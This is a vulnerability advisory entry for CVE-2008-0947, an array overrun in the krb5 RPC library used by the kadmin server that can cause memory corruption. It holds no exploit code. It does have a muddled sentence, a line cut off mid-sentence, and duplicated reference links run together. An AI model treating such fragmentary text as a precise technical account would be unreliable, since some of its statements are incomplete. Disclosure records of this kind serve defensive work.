CVE-2008-0947 [CRITICAL] CVE-2008-0947 krb5: file descriptor array overflow in RPC library
CVE-2008-0947 krb5: file descriptor array overflow in RPC library
MIT Kerberos Team reported following issue affecting RPC library server code
used by kadmin server:
A bug in the RPC library server code, used in the kadmin server,
causes an array overrun if too many file descriptors are opened.
Memory corruption can result.
Acknowledgements:
Red Hat would like to thank MIT and Jeff Altman of Secure Endpoints for reporting this issue.
Discussion:
Public now:
http://web.mit.edu/kerberos/advisories/MITKRB5-SA-2008-002.txt
Lifting embargo.
---
This issue only affected krb5 package in Red Hat Enterprise Linux 5 and Fedora.
However, default configuration did not affect default configuration. This issue
only affected systems configured to use higher resource limit than default 1024
for
http://lists.apple.com/archives/security-announce/2008/Apr/msg00001.htmlhttp://support.apple.com/kb/HT1467http://www.kb.cert.org/vuls/id/529441http://www.securityfocus.com/bid/28813http://www.securitytracker.com/id?1019868http://www.vupen.com/english/advisories/2008/0979/referenceshttps://exchange.xforce.ibmcloud.com/vulnerabilities/41864http://lists.apple.com/archives/security-announce/2008/Apr/msg00001.htmlhttp://support.apple.com/kb/HT1467http://www.kb.cert.org/vuls/id/529441http://www.securityfocus.com/bid/28813http://www.securitytracker.com/id?1019868http://www.vupen.com/english/advisories/2008/0979/referenceshttps://exchange.xforce.ibmcloud.com/vulnerabilities/41864
2008-04-17
Published